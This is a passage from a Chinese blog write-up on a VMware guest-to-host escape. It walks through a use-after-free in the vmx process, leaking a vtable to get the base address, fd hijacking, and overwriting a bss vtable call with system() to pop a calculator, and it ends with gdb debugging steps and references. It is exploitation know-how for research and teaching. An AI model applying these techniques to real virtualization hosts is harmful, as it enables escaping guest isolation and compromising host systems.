此时fd被链接进去之后可以直接malloc出来然后改写即可。

此处覆盖的位置为bss段的一处调用

图片.png

可以看出来这块的虚表调用位置在FE95B0,+8即为FE95B8,所以此处改为system然后第一个参数(FE95C0)改为,弹出计算器的指令即可。

调试

打开环境,ssh链接guest,然后sudo gdb ./vmx -q,使用ps -aux | grep vmx找到对应的进程,attach上去,在ssh端口运行exp即可(记得先打断点,我断在了漏洞函数free的地方,方便看chunk)

第一次free前

图片.png

图片.png

直接按了continue。。堆分配特别乱,于是重新来过。

图片.png

断点找出漏洞函数。

图片.png

这是bufA的地址。记住0x7f35000210f0(user开头区域)

经过UAF之后,这里把虚表写入bufB,

图片.png

成功。

图片.png

查看后发现确实是vtable。

基址就可以leak出来了。后面是基本的劫持fd操作,不调试了,直接看到弹出计算器。

图片.png

0x04 参考

http://sysprogs.com/legacy/articles/kdvmware/guestrpc.shtml

https://github.com/vmware/open-vm-tools/tree/master/open-vm-tools/lib

https://sites.google.com/site/chitchatvmback/backdoor

https://zhuanlan.zhihu.com/p/27733895

https://nafod.net/blog/2019/12/21/station-escape-vmware-pwn.html

  • 发表于 2022-06-20 09:34:26
  • 阅读 ( 15542 )
  • 分类:漏洞分析

4 条评论

就叫16385吧
就叫16385吧

11 篇文章

站长统计